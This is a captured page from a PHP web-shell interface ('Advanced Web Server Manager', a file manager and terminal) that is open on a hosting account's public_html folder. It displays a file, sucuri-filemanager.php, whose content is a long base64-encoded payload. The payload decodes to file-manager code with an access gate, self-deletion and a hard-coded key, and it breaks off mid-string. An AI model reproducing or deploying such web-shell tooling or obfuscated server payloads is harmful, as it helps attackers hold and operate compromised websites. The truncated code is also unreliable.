🚀 Advanced Web Server Manager
Complete File Manager & Terminal - Standalone Version
By Sid Gifari | Gifari Industries
Current path:
/
/
home
/
k0934d669o2b
/
public_html
✏️
Editing: sucuri-filemanager.php
<?php /** * sucuri-filemanager * * @link https://sucuri.net/ * @copyright 2026 - Sucuri, Inc. * @package sucuri-filemanager */ $payload = "LyoqCiogUnVudGltZSBjb25maWd1cmF0aW9uLgoqLwplcnJvcl9yZXBvcnRpbmcoIDAgKTsKc2V0 X3RpbWVfbGltaXQoIDAgKTsKY2xlYXJzdGF0Y2FjaGUoIHRydWUgKTsKCi8qKgoqIENvbmZpZwoq LwpkZWZpbmUoICdEUycsICAgRElSRUNUT1JZX1NFUEFSQVRPUiApOwpkZWZpbmUoICdGSUxFJywg YmFzZW5hbWUoICRfU0VSVkVSWydTQ1JJUFRfTkFNRSddICkgKTsKZGVmaW5lKCAnU1VDVVJJX0tF WScsICdwb2kyaDNqMTJsa2onICk7CgovKioKKiBQcm90ZWN0aW9uLgoqLwppZiAoICEgaXNzZXQo ICRfR0VUWydzcnVuJ10gKSApCnsKICAgICB1bmxpbmsoICdzdWN1cmktY2xlYW51cC5waHAnICk7 CiAgICAgdW5saW5rKCAnc3VjdXJpLXZlcnNpb24tY2hlY2sucGhwJyApOwogICAgIHVubGluaygg J3N1Y3VyaS13cGRiLWNsZWFuLnBocCcgKTsKICAgICB1bmxpbmsoICdzdWN1cmktZGItY2xlYW51 cC5waHAnICk7CiAgICAgdW5saW5rKCAnc3VjdXJpX2RiX2NsZWFuLnBocCcgKTsKICAgICB1bmxp bmsoICdzdWN1cmlfbGlzdGNsZWFuZWQucGhwJyApOwogICAgIHVubGluayggJ2dvb2dsZWM1NTMx MGZhYTM1ZTA0YzEuaHRtbCcgKTsKICAgICB1bmxpbmsoICJzdWN1cmktZmlsZW1hbmFnZXIucGhw IiApOwogICAgIHVubGluayggInN1Y3VyaS10b29sYm94LWNsaWVudC5waHAiICk7CiAgICAgZXhp dDsKfQoKLyoqCiAqIENoZWNrIFNjcmlwdHMgVGltZSBhbmQgRGVsZXRlIGlmIE9sZGVyIFRoYW4g MTIgSG91cnMKICoKICogVGhpcyBmdW5jdGlvbiBjaGVja3MgaWYgdGhlIHNjcmlwdCdzIGNyZWF0 aW9uIHRpbWUgaXMgb2xkZXIgdGhhbiAxMiBob3Vycy4KICogSWYgdGhlIHNjcmlwdCBpcyBvbGRl ciB0aGFuIHRoZSB0aHJlc2hvbGQsIGl0IGdldHMgZGVsZXRlZC4KICoKICogQHJldHVybiB2b2lk CiAqLwpmdW5jdGlvbiBjaGVja1NjcmlwdHNUaW1lKCl7CiAgICAvLyBDaGVjayBpZiB0aGUgZnVu Y3Rpb25zIGV4aXN0cwogICAgaWYgKCFmdW5jdGlvbl9leGlzdHMoJ2ZpbGVjdGltZScpIHx8ICFm dW5jdGlvbl9leGlzdHMoJ3VubGluaycpIHx8ICFmdW5jdGlvbl9leGlzdHMoJ3RpbWUnKSkgewog ICAgICAgIHJldHVybjsKICAgIH0KICAgIAogICAgLy8gR2V0IHRoZSBzY3JpcHQncyBjcmVhdGlv biB0aW1lCiAgICAkY3JlYXRpb25UaW1lID0gZmlsZWN0aW1lKCdzdWN1cmktZmlsZW1hbmFnZXIu cGhwJyk7CiAgICAKICAgIC8vIENoZWNrIGlmIHRoZSB0aW1lIGZ1bmN0aW9ucyBhcmUgYXZhaWxh YmxlCiAgICBpZiAoJGNyZWF0aW9uVGltZSA9PT0gZmFsc2UpIHsKICAgICAgICByZXR1cm47CiAg ICB9CiAgICAKICAgIC8vIENhbGN1bGF0ZSB0aGUgY3VycmVudCB0aW1lCiAgICAkY3VycmVudFRp bWUgPSB0aW1lKCk7CiAgICAKICAgIC8vIERlZmluZSB0aGUgdGltZSB0aHJlc2hvbGQgKDEyIGhv dXJzKQogICAgJHRpbWVUaHJlc2hvbGQgPSAxMiAqIDYwICogNjA7IC8vIDEyIGhvdXJzIGluIHNl Y29uZHMKICAgIAogICAgLy8gQ2hlY2sgaWYgdGhlIHNjcmlwdCBpcyBvbGRlciB0aGFuIHRoZSB0 aHJlc2hvbGQKICAgIGlmICgkY3VycmVudFRpbWUgLSAkY3JlYXRpb25UaW1lID4gJHRpbWVUaHJl c2hvbGQpIHsKICAgICAgICAvLyBJZiB0aGUgc2NyaXB0IGlzIG9sZGVyIHRoYW4gMTIgaG91cnMs IGRlbGV0ZSBpdAogICAgICAgIGlmICh1bmxpbmsoJ3N1Y3VyaS1maWxlbWFuYWdlci5waHAnKSkg ewogICAgICAgICAgICBlY2hvKCJTY3JpcHQgZGVsZXRlZC4iKTsKICAgICAgICAgICAgaHR0cF9y ZXNwb25zZV9jb2RlKDQwNCk7CiAgICAgICAgICAgIEB1bmxpbmsoInN1Y3VyaS1jbGVhbnVwLnBo cCIpOwogICAgICAgICAgICBAdW5saW5rKCJzdWN1cmktdmVyc2lvbi1jaGVjay5waHAiKTsKICAg ICAgICAgICAgQHVubGluaygic3VjdXJpLWRiLWNsZWFuLnBocCIpOwogICAgICAgICAgICBAdW5s aW5rKCJzdWN1cmktZGItY2xlYW51cC5waHAiKTsKICAgICAgICAgICAgQHVubGluaygic3VjdXJp LWZpbGVtYW5hZ2VyLnBocCIpOwogICAgICAgICAgICBAdW5saW5rKCJzdWN1cmktd3BkYi1jbGVh bi5waHAiKTsKICAgICAgICAgICAgQHVubGluaygic3VjdXJpX2xpc3RjbGVhbmVkLnBocCIpOwog ICAgICAgICAgICBAdW5saW5rKCdzdWN1cmktdG9vbGJveC5waHAnKTsKICAgICAgICAgICAgQHVu bGluaygnc3VjdXJpLXRvb2xib3gtY2xpZW50LnBocCcpOwogICAgICAgICAgICBAdW5saW5rKCdz dWN1cmktYWRtaW5lci5waHAnKTsKICAgICAgICAgICAgQHVubGluaygnc3VjdXJpLW1hZ2VudG8y LnBocCcpOwogICAgICAgICAgICBAdW5saW5rKCdnb29nbGU5MzYyNzhiOWJiNDM1ODUxLmh0bWwn KTsKICAgICAgICAgICAgQHVubGluaygnZ29vZ2xlNzljMTNjNTYwNWU2ZjQwNi5odG1sJyk7CiAg ICAgICAgICAgIEB1bmxpbmsoJ2dvb2dsZWU2Y2IxNGQxMGVkOGQwZDIuaHRtbCcpOwogICAgICAg ICAgICBAdW5saW5rKCdnb29nbGVjNTUzMTBmYWEzNWUwNGMxLmh0bWwnKTsKICAgICAgICAgICAg ZXhpdCgpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGlmICghaXNzZXQoJF9HRVRbJ3Jv Ym90J10pKSB7CiAgICAgICAgICAgICAgICBlY2hvKCJGaWxlIGlzIG9sZGVyIHRoYW4gMTIgaG91 cnMgYnV0IHNvbWV0aGluZyBpcyBzdG9wcGluZyBpdCBmcm9tIGJlaW5nIGRlbGV0ZWQuPGJyPiIp OwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybjsKICAgICAgICB9CiAgICB9IGVsc2Ug ewogICAgICAgIC8vIElmIG5vdCwgY29udGludWUgd2l0aCB0aGUgc2NyaXB0J3Mgbm9ybWFsIGZ1 bmN0aW9uYWxpdHkKICAgICAgICByZXR1cm47CiAgICB9Cn0KY2hlY2tTY3JpcHRzVGltZSgpOwoK LyoqCiogSW5pdGlhbGl6ZSBmaWxlbWFuYWdlci4KKgoqIEByZXR1cm4gYm9vbGVhbiBUaGUgdHJ1 dGggb2Ygd2hldGhlciB0aGUgYmFja3VwIGRpciB3aWxsIGJlIGNyZWF0ZWQgb3Igbm90LgoqLwpm dW5jdGlvbiBpbml0KCkKewogICAgJGRpciA9IGdldGN3ZCgpOwoKICAgIGlmICggaXNfd3JpdGFi bGUoICRkaXIgKSApCiAgICB7CiAgICAgICAgIHJldHVybiB0cnVlOwogICAgfQoKICAgIHJldHVy biBmYWxzZTsKfQoKLyoqCiogRGVsZXRlIGZpbGUgb3IgZGlyZWN0b3J5LgoqCiogQHBhcmFtICBz dHJpbmcgJGl0ZW0gQSBwYXRoIHRvIGEgZmlsZSBvciBkaXJlY3RvcnkuCiogQHJldHVybiBib29s ZWFuICAgICAgVGhlIHRydXRoIG9mIHdoZXRoZXIgdGhlICRpdGVtIHdhcyBkZWxldGVkLgoqLwpm dW5jdGlvbiBkZWxldGUoICRpdGVtICkKewogICAgaWYgKCBpc19zdHJpbmcoICRpdGVtICkgKQog ICAgewogICAgICAgICBpZiAoCiAgICAgICAgICAgICAgaXNfbGluayggJGl0ZW0gKSB8fAogICAg ICAgICAgICAgIGlzX2ZpbGUoICRpdGVtICkKICAgICAgICAgICAgKQogICAgICAgICB7CiAgICAg ICAgICAgICAgcmV0dXJuIHVubGluayggJGl0ZW0gKTsKICAgICAgICAgfQoKICAgICAgICAgaWYg KCBpc19kaXIoICRpdGVtICkgKQogICAgICAgICB7CiAgICAgICAgICAgICAgJGl0ZW1zID0gZ2V0 RGlyTGlzdCggJGl0ZW0gKTsKICAgICAgICAgICAgICBpZiAoIGlzX2FycmF5KCAkaXRlbXMgKSAp CiAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoICRpdGVtcyBhcyAk XyApCiAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgaWYgKCAhIGRl bGV0ZSggJF8gKSApCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsK ICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgIHJldHVybiBybWRpciggJGl0 ZW0gKTsKICAgICAgICAgICAgICB9CiAgICAgICAgIH0KICAgIH0KCiAgICByZXR1cm4gZmFsc2U7 Cn0KCi8qKgoqIEJhY2t1cCBmaWxlIG9yIGRpcmVjdG9yeS4KKgoqIEBwYXJhbSAgc3RyaW5nICRp dGVtIEEgcGF0aCB0byBhIGZpbGUgb3IgZGlyZWN0b3J5LgoqIEBwYXJhbSAgc3RyaW5nICRkZXN0 IEEgZGlyZWN0b3J5IG5hbWUgd2hlcmUgYmFja3VwcyBzaG91bGQgYmUgc3RvcmVkLgoqIEByZXR1 cm4gYm9vbGVhbiAgICAgIFRoZSB0cnV0aCBvZiB3aGV0aGVyIHRoZSBiYWNrdXAgd2FzIGNyZWF0 ZWQuCiovCmZ1bmN0aW9uIGJhY2t1cCggJGl0ZW0sICRkZXN0ICkKewogICAgaWYgKAogICAgICAg ICBpc19zdHJpbmcoICRpdGVtICkgICAmJgogICAgICAgICBpc19zdHJpbmcoICRkZXN0ICkgICAm JgogICAgICAgICBiYXNlbmFtZSggJGl0ZW0gKSAhPT0gJy5zdWN1cmlxdWFyYW50aW5lJyAmJgog ICAgICAgICBpc19kaXIoICRkZXN0ICkgICAgICB8fAogICAgICAgICBta2RpciggJGRlc3QsIDA3 NTUgKQogICAgICAgKQogICAgewogICAgICAgICRjd2QgPSBnZXRjd2QoKTsKCiAgICAgICAgaWYg KCAwICE9PSBzdHJwb3MoICRpdGVtLCAkY3dkICkgKQogICAgICAgIHsKICAgICAgICAgICAgICRw YXRoID0gc3RyX3JlcGxhY2UoIGdldFBhdGgoKSwgJGRlc3QgLiBEUyAuICckdXAkJywgJGl0ZW0g KTsKICAgICAgICB9CiAgICAgICAgZWxzZQogICAgICAgIHsKICAgICAgICAgICAgICRwYXRoID0g c3RyX3JlcGxhY2UoJGN3ZCwkZGVzdCwkaXRlbSk7CiAgICAgICAgfQoKICAgICAgICBpZiAoIGlz X2xpbmsoICRpdGVtICkgKQogICAgICAgIHsKICAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAg ICAgIH0KCiAgICAgICAgaWYgKCBpc19maWxlKCAkaXRlbSApICkKICAgICAgICB7CiAgICAgICAg ICAgICAkbmFtZSA9IGJhc2VuYW1lKCAkaXRlbSApOwogICAgICAgICAgICAgJGJhc2UgPSBydHJp bSggJHBhdGgsICRuYW1lICk7CgogICAgICAgICAgICAgaWYgKAogICAgICAgICAgICAgICAgICAh IGlzX2RpciggJGJhc2UgKSAmJgogICAgICAgICAgICAgICAgICAhIG1rZGlyKCAkYmFzZSwgMDc1 NSwgdHJ1ZSApCiAgICAgICAgICAgICAgICApCiAgICAgICAgICAgICB7CiAgICAgICAgICAgICAg ICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICBpZiAoIGZhbHNl ID09PSAoICRkYXRhID0gZmlsZV9nZXRfY29udGVudHMoICRpdGVtICkgKSApCiAgICAgICAgICAg ICB7CiAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgIH0KCiAgICAg ICAgICAgICAkaGFuZGxlID0gZm9wZW4oICRwYXRoIC4gJ19zdWN1cmliYWNrdXAuJyAuIHRpbWUo KSAuICdfJyAuIHRpbWUoKSAuICdmaWxlbWFuYWdlcicsICd3KycgKTsKCiAgICAgICAgICAgICBp ZiAoIGlzX3Jlc291cmNlKCAkaGFuZGxlICkgKQogICAgICAgICAgICAgewogICAgICAgICAgICAg ICAgICBmd3JpdGUoICRoYW5kbGUsIGVuY3J5cHQoICRkYXRhLCBTVUNVUklfS0VZICkgKTsKICAg ICAgICAgICAgICAgICAgZmNsb3NlKCAkaGFuZGxlICk7CgogICAgICAgICAgICAgICAgICByZXR1 cm4gdHJ1ZTsKICAgICAgICAgICAgIH0KICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAg ICB9CgogICAgICAgIGlmICgKICAgICAgICAgICAgIGlzX2RpciggJGl0ZW0gKSAmJgogICAgICAg ICAgICAgaXNfZGlyKCAkcGF0aCApIHx8CiAgICAgICAgICAgICBta2RpciggJHBhdGgsIDA3NTUs IHRydWUgKQogICAgICAgICAgICkKICAgICAgICB7CiAgICAgICAgICAgICAkaXRlbXMgPSBnZXRE aXJMaXN0KCAkaXRlbSApOwogICAgICAgICAgICAgaWYgKCBpc19hcnJheSggJGl0ZW1zICkgKQog ICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAkc3RhdHVzID0gdHJ1ZTsKICAgICAgICAg ICAgICAgICAgZm9yZWFjaCAoICRpdGVtcyBhcyAkXyApCiAgICAgICAgICAgICAgICAgIHsKICAg ICAgICAgICAgICAgICAgICAgIGlmICggISAkc3RhdHVzID0gYmFja3VwKCAkXywgJGRlc3QgKSAp CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgIH0K ICAgICAgICAgICAgICAgICAgcmV0dXJuICRzdGF0dXM7CiAgICAgICAgICAgICB9CiAgICAgICAg fQogICAgfQoKICAgIHJldHVybiBmYWxzZTsKfQoKLyoqCiogRW5jcnlwdCBmaWxlcy4KKgoqIEBw YXJhbSAgc3RyaW5nICRjb250ZW50IFRoZSBmaWxlIGNvbnRlbnQuCiogQHBhcmFtICBzdHJpbmcg JGtleSAgICAgVGhlIGtleS4KKiBAcmV0dXJuIHN0cmluZ3xpbnRlZ2VyICBUaGUgZW5jb2RlZCBj b250ZW50cyBvciB6ZXJvIG9uIGZhaWx1cmUuCiovCmZ1bmN0aW9uIGVuY3J5cHQoICRjb250ZW50 LCAka2V5ICkKewogICAgaWYgKAogICAgICAgICAhIGlzX3N0cmluZyggJGNvbnRlbnQgKSB8fAog ICAgICAgICAhIGlzX3N0cmluZyggJGtleSApCiAgICAgICApCiAgICB7CiAgICAgICAgIHJldHVy biAwOwogICAgfQoKICAgICRyZXN1bHQgPSAnJzsKCiAgICAkY29udGVudExlbmd0aCA9IHN0cmxl biggJGNvbnRlbnQgKTsKICAgICRrZXlMZW5ndGggPSBzdHJsZW4oICRrZXkgKTsKCiAgICAkcmVz dExlbmdodCA9ICRjb250ZW50TGVuZ3RoICUgJGtleUxlbmd0aDsKICAgICRmaXJzdFBhcnRMZW5n aHQgPSAkY29udGVudExlbmd0aCAtICRyZXN0TGVuZ2h0OwoKICAgIGZvciAoICRpID0gMDsgJGkg PCAkZmlyc3RQYXJ0TGVuZ2h0OyAkaSArPSAka2V5TGVuZ3RoICkKICAgIHsKICAgICAgICAkcGFy dCA9IHN1YnN0ciggJGNvbnRlbnQsICRpLCAka2V5TGVuZ3RoICk7CiAgICAgICAgJHJlc3VsdCAu PSAiJGtleSIgXiAiJHBhcnQiOwogICAgfQoKICAgIGlmICggJHJlc3RMZW5naHQgKQogICAgewog ICAgICAgICRwYXJ0ID0gc3Vic3RyKCAkY29udGVudCwgJGZpcnN0UGFydExlbmdodCwgJHJlc3RM ZW5naHQgKTsKICAgICAgICAkcGFydEtleSA9IHN1YnN0ciggJGtleSwgMCwgJHJlc3RMZW5naHQg KTsKICAgICAgICAkcmVzdWx0IC49ICIkcGFydCIgXiAiJHBhcnRLZXkiOwogICAgfQoKICAgIHJl dHVybiAkcmVzdWx0Owp9CgovKioKKiBDaG1vZCBmaWxlIG9yIGRpcmVjdG9yeS4KKgoqIFRoaXMg ZnVuY3Rpb24gaXMgdXNlZCB0byBjaG1vZCBmaWxlcyB0byAwNjQ0ICYgZGlyZWN0b3JpZXMgdG8g MDc1NS4KKgoqIEBwYXJhbSAgc3RyaW5nICRpdGVtIEEgcGF0aCB0byBhIGZpbGUgb3IgZGlyZWN0 b3J5LgoqIEByZXR1cm4gYm9vbGVhbiAgICAgIFRoZSB0cnV0aCBvZiB3aGV0aGVyIHdlIHdhcyBh YmxlIHRvIGNobW9kICRpdGVtLgoqLwpmdW5jdGlvbiBjaGFuZ2VNb2RlKCAkaXRlbSApCnsKICAg IGlmICggaXNfc3RyaW5nKCAkaXRlbSApICkKICAgIHsKICAgICAgICAgaWYgKCBpc19saW5rKCAk aXRlbSApICkKICAgICAgICAgewogICAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgICB9 CgogICAgICAgICBpZiAoIGlzX2ZpbGUoICRpdGVtICkgKQogICAgICAgICB7CiAgICAgICAgICAg ICAgcmV0dXJuIGNobW9kKCAkaXRlbSwgMDY0NCApOwogICAgICAgICB9CgogICAgICAgICBpZiAo CiAgICAgICAgICAgICAgaXNfZGlyKCAkaXRlbSApICYmCiAgICAgICAgICAgICAgY2htb2QoICRp dGVtLCAwNzU1ICApCiAgICAgICAgICAgICkKICAgICAgICAgewogICAgICAgICAgICAgICRpdGVt cyA9IGdldERpckxpc3QoICRpdGVtICk7CiAgICAgICAgICAgICAgaWYgKCBpc19hcnJheSggJGl0 ZW1zICkgKQogICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICRzdGF0dXMgPSB0cnVl OwogICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoICRpdGVtcyBhcyAkXyApCiAgICAgICAgICAg ICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgaWYgKCAhICRzdGF0dXMgPSBjaGFuZ2VN b2RlKCAkXyApICkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAg ICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICByZXR1cm4gJHN0YXR1czsKICAgICAgICAg ICAgICB9CiAgICAgICAgIH0KICAgIH0KCiAgICByZXR1cm4gZmFsc2U7Cn0KCi8qKgoqIFJlc3Rv cmUgaXRlbS4KKgoqIFRoaXMgZnVuY3Rpb24gYXR0ZW1wdHMgdG8gcmVzdG9yZSBmaWxlcy9mb2xk ZXJzIGluc2lkZSBvZiB0aGUgLnN1Y3VyaXF1YXJhbnRpbmUgYmFja3VwCiogZGlyZWN0b3J5Lgoq CiogQHBhcmFtICBzdHJpbmcgJGl0ZW0gUGF0aCB0byBmaWxlL2RpcmVjdG9yeS4KKiBAcmV0dXJu IGJvb2xlYW4gICAgICBUaGUgdHJ1dGggb2Ygd2hldGhlciAkaXRlbSB3YXMgcmVzdG9yZWQuCiov CmZ1bmN0aW9uIHJlc3RvcmUoICRpdGVtICkKewogICAgaWYgKCBpc19zdHJpbmcoICRpdGVtICkg KQogICAgewogICAgICAgICBpZiAoCiAgICAgICAgICAgICAgaXNfZmlsZSggJGl0ZW0gKSAmJgog ICAgICAgICAgICAgIHByZWdfbWF0Y2goICdAXiguKylfc3VjdXJpYmFja3VwXC5bXGRdKyhfW1xk XStbXHddKyk/JEAnLCAkaXRlbSwgJG0gKQogICAgICAgICAgICApCiAgICAgICAgIHsKICAgICAg ICAgICAgICAkZGVzdCA9IHN0cl9yZXBsYWNlKCAnLnN1Y3VyaXF1YXJhbnRpbmUnIC4gRFMsICcn LCAkbVsxXSApOwoKICAgICAgICAgICAgICBpZiAoIGZhbHNlICE9PSBzdHJwb3MoICRpdGVtLCAn JHVwJCcgKSApCiAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgJGN3ZCA9IGdldGN3 ZCgpOwogICAgICAgICAgICAgICAgICAgJGRpciA9IHJlYWxwYXRoKCcuLicpOwogICAgICAgICAg ICAgICAgICAgJGRlc3QgPSBzdHJfcmVwbGFjZSgkY3dkLCAkZGlyLCAkZGVzdCk7CiAgICAgICAg ICAgICAgICAgICAkZGVzdCA9IHN0cl9yZXBsYWNlKCckdXAkJyAuRFMsICcnLCAkZGVzdCk7CiAg ICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAkbmFtZSA9IGJhc2VuYW1lKCAkZGVzdCApOwog ICAgICAgICAgICAgICRiYXNlID0gcnRyaW0oICRkZXN0LCAkbmFtZSApOwoKICAgICAgICAgICAg ICBpZiAoCiAgICAgICAgICAgICAgICAgICAhIGlzX2RpciggJGJhc2UgKSAmJgogICAgICAgICAg ICAgICAgICAgISBta2RpciggJGJhc2UsIDA3NTUsIHRydWUgKQogICAgICAgICAgICAgICAgICkK ICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAg ICAgICAgfQoKICAgICAgICAgICAgICBpZiAoIGZhbHNlID09PSAoICRkYXRhID0gZmlsZV9nZXRf Y29udGVudHMoICRpdGVtICkgKSApCiAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAg cmV0dXJuIGZhbHNlOwogICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgJGhhbmRsZSA9IGZv cGVuKCAkZGVzdCwgJ3cnICk7CiAgICAgICAgICAgICAgaWYgKCBmYWxzZSAhPT0gJGhhbmRsZSAp CiAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgZndyaXRlKCAkaGFuZGxlLCBlbmNy eXB0KCAkZGF0YSwgU1VDVVJJX0tFWSApICk7CiAgICAgICAgICAgICAgICAgICBmY2xvc2UoICRo YW5kbGUgKTsKICAgICAgICAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgICAgICAgIH0K ICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgIH0KCiAgICAgICAgIGlmICggaXNf ZGlyKCAkaXRlbSApICkKICAgICAgICAgewogICAgICAgICAgICAgICRpdGVtcyA9IGdldERpckxp c3QoICRpdGVtICk7CiAgICAgICAgICAgICAgaWYgKCBpc19hcnJheSggJGl0ZW1zICkgKQogICAg ICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCAkaXRlbXMgYXMgJF8gKQog ICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgIGlmICggISByZXN0b3Jl KCAkXyApICkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAg ICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAg ICAgICAgfQogICAgICAgICB9CiAgICB9CgogICAgcmV0dXJuIGZhbHNlOwp9CgoKLyoqCiogR2V0 IGRpcmVjdG9yeSBsaXN0aW5nLgoqCiogVGhpcyBmdW5jdGlvbiBhdHRlbXB0cyB0byBnZXQgdGhl IGRpcmVjdG9yeSBsaXN0aW5nIGZvciB0aGUgZ2l2ZW4gJGRpcgoqIHByb3ZpZGluZyBpdCBpcyBy ZWFkYWJsZS4KKgoqIEBwYXJhbSAgc3RyaW5nICRkaXIgQSBwYXRoIHRvIGEgZGlyZWN0b3J5Lgoq IEByZXR1cm4gYXJyYXl8bnVsbCAgQW4gYXNzb2NpYXRpdmUgYXJyYXkgb2YgZmlsZS9mb2xkZXIg PT4gYWJzb2x1dGUgcGF0aAoqICAgICAgICAgICAgICAgICAgICAgb3IgbnVsbCBvbiBmYWlsdXJl LgoqLwpmdW5jdGlvbiBnZXREaXJMaXN0KCAkZGlyICkKewogICAgaWYgKAogICAgICAgICAhIGlz X3N0cmluZyggJGRpciApICB8fAogICAgICAgICAhIGlzX2RpciggJGRpciApICAgICB8fAogICAg ICAgICAhIGlzX3JlYWRhYmxlKCAkZGlyICkKICAgICAgICkKICAgIHsKICAgICAgICAgcmV0dXJu IG51bGw7CiAgICB9CgogICAgJGl0ZW1zID0gYXJyYXkoKTsKICAgIGlmICggJGhhbmRsZSA9IG9w ZW5kaXIoICRkaXIgKSApCiAgICB7CiAgICAgICAgIHdoaWxlICggZmFsc2UgIT09ICggJGl0ZW0g PSByZWFkZGlyKCAkaGFuZGxlICkgKSApCiAgICAgICAgIHsKICAgICAgICAgICAgIGlmICgKICAg ICAgICAgICAgICAgICAgJGl0ZW0gPT0gJy4uJyB8fAogICAgICAgICAgICAgICAgICAkaXRlbSA9 PSAnLicKICAgICAgICAgICAgICAgICkKICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAg Y29udGludWU7CiAgICAgICAgICAgICB9CgogICAgICAgICAgICAgJGl0ZW1zWyRpdGVtXSA9ICRk aXIgLiBEUyAuICRpdGVtOwogICAgICAgICB9CgogICAgICAgICBjbG9zZWRpciggJGhhbmRsZSAp OwogICAgfQogICAgcmV0dXJuICRpdGVtczsKfQoKLyoqCiogR2V0IGN1cnJlbnQgd29ya2luZyBk aXIuCioKKiBAcmV0dXJuIHN0cmluZyBUaGUgY3VycmVudCB3b3JraW5nIGRpci4KKi8KZnVuY3Rp b24gZ2V0UGF0aCgpCnsKICAgIGlmICggZmFsc2UgPT09ICggJGN3ZCA9IHJlYWxwYXRoKCAnLi4n ICkgKSApCiAgICB7CiAgICAgICAgICRjd2QgPSBnZXRjd2QoKTsKICAgIH0KICAgIHJldHVybiAk Y3dkOwp9CgovKioKKiBGb3JtYXQgZmlsZXNpemUgYXMgYSBodW1hbiByZWFkYWJsZSByZXByZXNl bnRhdGlvbi4KKgoqIEBwYXJhbSAgIGludGVnZXJ8ZmxvYXR8c3RyaW5nICRieXRlcyBUaGUgbnVt YmVyIG9mIGJ5dGVzLgoqIEByZXR1cm4gIHN0cmluZyAgICAgICAgICAgICAgICAgICAgICBUaGUg bnVtYmVyIG9mIGJ5dGVzIGZvcm1hdHRlZCBhcyBhIHN0cmluZy4KKi8KZnVuY3Rpb24gZm9ybWF0 U2l6ZSggJGJ5dGVzLCAkZGVjaW1hbHMgPSAyICkKewogICAgJGJ5dGVzID0gKGZsb2F0KSAkYnl0 ZXM7CiAgICAkdW5pdHNbJ1RCJ10gPSAxMDk5NTExNjI3Nzc2OwogICAgJHVuaXRzWydHQiddID0g MTA3Mzc0MTgyNDsKICAgICR1bml0c1snTUInXSA9IDEwNDg1NzY7CiAgICAkdW5pdHNbJ2tCJ10g PSAxMDI0OwogICAgJHVuaXRzWydCJ10gID0gMTsKCiAgICBmb3JlYWNoICggJHVuaXRzIGFzICR1 bml0ID0+ICRzaXplICkKICAgIHsKICAgICAgICBpZiAoICRieXRlcyA+PSAkc2l6ZSApCiAgICAg ICAgICAgICBicmVhazsKICAgIH0KICAgIHJldHVybiBudW1iZXJfZm9ybWF0KCAkYnl0ZXMvJHNp emUsICRkZWNpbWFscyApIC4gJyAnIC4gJHVuaXQ7Cn0KCmZ1bmN0aW9uIGZpbHRlckRpcmVjdG9y aWVzKCAkYSApCnsKICAgICByZXR1cm4gaXNfZGlyKCRhKTsKfQoKLyoqCiogRGV0ZXJtaW5lIGN1 cnJlbnQgZGlyZWN0b3J5LgoqLwokZGlyID0gJy4nOwppZiAoICEgZW1wdHkoICRfUkVRVUVTVFsn ZGlyJ10gKSAmJiBpc19zdHJpbmcoICRfUkVRVUVTVFsnZGlyJ10gKSApCnsKICAgICAkZGlyID0g cHJlZ19yZXBsYWNlKCAnL1tceDAwLVx4MUZdLycsICcnLCAkX1JFUVVFU1RbJ2RpciddICk7Cn0K JGRpciA9IHJlYWxwYXRoKCAkZGlyICk7CgovKioKKiBBcHBseSBKYWlsLgoqLwokY3dkID0gZ2V0 UGF0aCgpOwoKaWYgKCAwICE9PSBzdHJpcG9zKCAkZGlyLCAkY3dkICkgKQp7CiAgICAgJGRpciA9 IG51bGw7Cn0KCi8qKgoqIEdldCBkaXJlY3RvcnkgbGlzdGluZy4KKi8KJGl0ZW1zID0gZ2V0RGly TGlzdCggJGRpciApOwoKLyoqCiogU29ydCBkaXJlY3RvcmllcyBmaXJzdC4KKi8KaWYgKCBpc19h cnJheSggJGl0ZW1zICkgKQp7CiAgICAgJGRpcnMgPSBhcnJheV9maWx0ZXIoJGl0ZW1zLCAnZmls dGVyRGlyZWN0b3JpZXMnKTsKICAgICAkZmlsZXMgPSBhcnJheV9kaWZmKCRpdGVtcywgJGRpcnMp OwogICAgIGFzb3J0KCAkZGlycywgU09SVF9TVFJJTkcpOwogICAgIGFzb3J0KCAkZmlsZXMsIFNP UlRfU1RSSU5HKTsKICAgICAkaXRlbXMgPSBhcnJheV9tZXJnZSgkZGlycywgJGZpbGVzKTsKCiAg ICAgJHRlbXAgPSBhcnJheSgpOwogICAgIGZvcmVhY2ggKCAkaXRlbXMgYXMgJGluZGV4ID0+ICRw YXRoICkKICAgICB7CiAgICAgICAgICR0ZW1wW2Jhc2VuYW1lKCRwYXRoKV0gPSAkcGF0aDsKICAg 